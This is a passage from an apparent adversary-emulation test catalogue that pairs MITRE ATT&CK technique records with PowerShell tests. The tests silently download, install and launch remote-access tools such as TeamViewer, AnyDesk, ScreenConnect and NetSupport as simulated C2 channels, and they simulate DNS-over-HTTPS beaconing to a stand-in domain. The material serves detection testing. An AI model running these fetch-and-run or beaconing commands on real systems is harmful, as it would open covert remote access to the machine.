S-a. Retrieved April 11, 2018. url: https://blog.crysys.hu/2013/03/teamspy/ - source_name: Google Chrome Remote Desktop description: Google. (n.d.). Retrieved March 14, 2024. url: https://support.google.com/chrome/answer/1649523 - source_name: Chrome Remote Desktop description: Huntress. (n.d.). Retrieved March 14, 2024. url: https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708 - source_name: Symantec Living off the Land description: Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018. url: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1219 atomic_tests: - name: TeamViewer Files Detected Test on Windows auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0 description: 'An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed. ' supported_platforms: - windows executor: command: "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'\n" cleanup_command: |- $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe' if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null } $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe" Remove-Item $file1 -ErrorAction Ignore | Out-Null name: powershell elevation_required: true - name: AnyDesk Files Detected Test on Windows auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330 description: 'An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed. ' supported_platforms: - windows executor: command: | Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe" Start-Process $file1 /S; cleanup_command: |- $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe" Remove-Item $file1 -ErrorAction Ignore name: powershell elevation_required: true - name: LogMeIn Files Detected Test on Windows auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1 description: 'An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed. ' supported_platforms: - windows executor: command: | Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi" Start-Process -Wait $file1 /quiet; Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S" cleanup_command: "get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package \n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nRemove-Item $file1 -ErrorAction Ignore" name: powershell elevation_required: true - name: GoToAssist Files Detected Test on Windows auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578 description: 'An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed. ' supported_platforms: - windows executor: command: | Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1" $file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe" Start-Process $file1 /S; cleanup_command: try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{} name: powershell elevation_required: true - name: ScreenConnect Application Download and Install on Windows auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0 description: | An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect. supported_platforms: - windows executor: command: | $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi" Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi" msiexec /i $installer /qn cleanup_command: | $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi" msiexec /x $installer /qn name: powershell elevation_required: true - name: Ammyy Admin Software Execution auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa description: "An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. \nUpon successful execution, Ammyy Admin will be executed. \n" supported_platforms: - windows input_arguments: Ammyy_Admin_Path: description: Path of Ammyy Admin executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe dependency_executor_name: powershell dependencies: - description: 'Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path}) ' prereq_command: 'if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing executor: command: 'Start-Process "#{Ammyy_Admin_Path}" ' cleanup_command: 'Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: RemotePC Software Execution auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce description: "An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. \nUpon successful execution, RemotePC will be executed. \n" supported_platforms: - windows input_arguments: RemotePC_Path: description: Path of RemotePC executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe dependency_executor_name: powershell dependencies: - description: 'RemotePC must exist on disk at the specified location (#{RemotePC_Path}) ' prereq_command: 'if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing executor: command: 'Start-Process "#{RemotePC_Path}" ' cleanup_command: "Unregister-ScheduledTask -TaskName \"RemotePC\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"RPCServiceHealthCheck\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"ServiceMonitor\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"StartRPCService\" -Confirm:$False -ErrorAction SilentlyContinue \ \nStop-Process -Name \"RemotePCPerformance\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCPerformanceService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCUIU\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCDownloader\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCService\" -force -erroraction silentlycontinue\n" name: powershell elevation_required: true - name: NetSupport - RAT Execution auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75 description: "A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. \n" supported_platforms: - windows input_arguments: NetSupport_Path: description: Path to the NetSupport executable. type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe dependency_executor_name: powershell dependencies: - description: 'NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path}) ' prereq_command: 'if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null (New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}") executor: command: 'Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn" ' cleanup_command: 'Stop-Process -Name "client32" -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: UltraViewer - RAT Execution auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8 description: "A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n" supported_platforms: - windows input_arguments: UltraViewer_Path: description: Path to the UltraViewer executable. type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe dependency_executor_name: powershell dependencies: - description: 'Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path}) ' prereq_command: 'if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null (New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}") executor: command: | Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe' cleanup_command: 'Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue ' name: powershell elevation_required: true - name: UltraVNC Execution auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e description: | An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed. supported_platforms: - windows input_arguments: UltraVNC_Viewer_Path: description: Path of UltraVNC Viewer executable type: path default: "$env:ProgramFiles\\'uvnc bvba\\UltraVnc\\vncviewer.exe'" dependency_executor_name: powershell dependencies: - description: 'UltraVNC must exist at (#{UltraVNC_Viewer_Path}) ' prereq_command: 'if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent executor: command: 'Start-Process #{UltraVNC_Viewer_Path} ' cleanup_command: 'Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: MSP360 Connect Execution auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562 description: | An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed. supported_platforms: - windows input_arguments: MSP360_Connect_Path: description: Path of MSP360 executable type: path default: "$env:ProgramFiles\\Connect\\Connect.exe" MSP360_Download_Url: description: URL to download MSP360 Connect from type: url default: dependency_executor_name: powershell dependencies: - description: 'MSP360 must exist at (#{MSP360_Connect_Path}) ' prereq_command: 'if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\" \"#{MSP360_Download_Url}\"\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\" /S \n" executor: command: 'Start-Process #{MSP360_Connect_Path} ' cleanup_command: 'Stop-Process -Name "Connect" -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: RustDesk Files Detected Test on Windows auto_generated_guid: f1641ba9-919a-4323-b74f-33372333bf0e description: "An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. \nDownload of RustDesk installer will be at the destination location when successfully executed.\n" supported_platforms: - windows executor: command: |- $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe" Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe Start-Process -FilePath $file "/S" cleanup_command: |- $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe" Remove-Item $file1 -ErrorAction Ignore name: powershell - name: Splashtop Execution auto_generated_guid: b025c580-029e-4023-888d-a42710d76934 description: | An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel. Upon successful execution, Splashtop will be executed. supported_platforms: - windows input_arguments: Splashtop_Path: description: Path of Splashtop executable type: path default: "${env:programfiles(x86)}\\Splashtop\\Splashtop Remote\\Client for STP\\strwinclt.exe" dependency_executor_name: powershell dependencies: - description: 'Splashtop must exist at "#{Splashtop_Path}" ' prereq_command: 'if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1} ' get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\splashtop_install.exe\" \"https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe\"\nstart-sleep 30\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\splashtop_install.exe\" /S \nstart-sleep 30 \n" executor: command: 'Start-Process "#{Splashtop_Path}" ' cleanup_command: 'Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue ' name: powershell elevation_required: true - name: Splashtop Streamer Execution auto_generated_guid: 3e1858ee-3550-401c-86ec-5e70ed79295b description: An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed. supported_platforms: - windows input_arguments: srserver_exe: description: Splashtop streamer installation executables type: string default: SRServer.exe dependency_executor_name: powershell dependencies: - description: Splashtop Streamer must be installed in the location prereq_command: 'if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1} ' get_prereq_command: |- Write-Host Downloading Splashtop Streamer New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile "C:\Temp\ExternalPayloads\Splashtop.exe" Write-Host Installing Splashtop Streamer Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s" executor: command: Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}" name: powershell elevation_required: true T1659: technique: modified: '2023-10-01T02:28:45.147Z' name: Content Injection description: |- Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide) Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Process: Process Creation' - 'File: File Creation' type: attack-pattern id: attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c created: '2023-09-01T21:03:13.406Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1659 external_id: T1659 - source_name: EFF China GitHub Attack description: Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023. url: https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack - source_name: ESET MoustachedBouncer description: 'Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.' url: https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/ - source_name: Kaspersky Encyclopedia MiTM description: Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023. url: https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/ - source_name: Kaspersky ManOnTheSide description: Starikova, A. (2023, February 14). Man-on-the-side – peculiar attack. Retrieved September 1, 2023. url: https://usa.kaspersky.com/blog/man-on-the-side/27854/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1205: technique: modified: '2022-11-08T14:00:00.188Z' name: Traffic Signaling description: |- Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: |- Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '2.4' x_mitre_contributors: - Tony Lee - Josh Day, Gigamon x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_defense_bypassed: - Defensive network service scanning type: attack-pattern id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205 external_id: T1205 - source_name: Bleeping Computer - Ryuk WoL description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ - source_name: AMD Magic Packet description: AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. url: https://www.amd.com/system/files/TechDocs/20213.pdf - source_name: Mandiant - Synful Knock description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. url: https://www.mandiant.com/resources/synful-knock-acis - source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - source_name: Hartrell cd00r 2002 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: GitLab WakeOnLAN description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021. url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1572: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b type: attack-pattern created: '2020-03-15T16:03:39.082Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1572 url: https://attack.mitre.org/techniques/T1572 - source_name: SSH Tunneling url: https://www.ssh.com/ssh/tunneling description: SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020. - source_name: BleepingComp Godlua JUL19 url: https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/ description: Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020. - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Protocol Tunneling description: "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)" x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1572 atomic_tests: - name: DNS over HTTPS Large Query Volume auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a description: | This test simulates an infected host sending a large volume of DoH queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. supported_platforms: - windows input_arguments: doh_server: description: Default DoH resolver type: string default: https://8.8.8.8/resolve query_type: description: DNS query type type: string default: TXT subdomain: description: Subdomain prepended to the domain name type: string default: atomicredteam query_volume: description: Number of DNS queries to send type: integer default: 1000 domain: description: Default domain to simulate against type: string default: 127.0.0.1.xip.io executor: command: 'for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content } ' name: powershell - name: DNS over HTTPS Regular Beaconing auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b description: | This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. supported_platforms: - windows input_arguments: doh_server: description: Default DoH resolver type: string default: https://8.8.8.8/resolve runtime: description: Time in minutes to run the simulation type: integer default: 30 domain: description: Default domain to simulate against type: string default: 127.0.0.1.xip.io subdomain: description: Subdomain prepended to the domain name type: string default: atomicredteam query_type: description: DNS query type type: string default: TXT c2_interval: description: Seconds between C2 requests to the command and control server type: integer default: 30 c2_jitter: description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests type: integer default: 20 executor: command: | Set-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime} name: powershell - name: DNS over HTTPS Long Domain Query auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c description: | This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format. supported_platforms: - windows input_arguments: doh_server: description: Default DoH resolver type: string default: https://8.8.8.8/resolve query_type: description: DNS query type type: string default: TXT subdomain: description: Subdomain prepended to the domain name (should be 63 characters to test maximum length) type: string default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte domain: description: Default domain to simulate against type: string default: 127.0.0.1.xip.io executor: 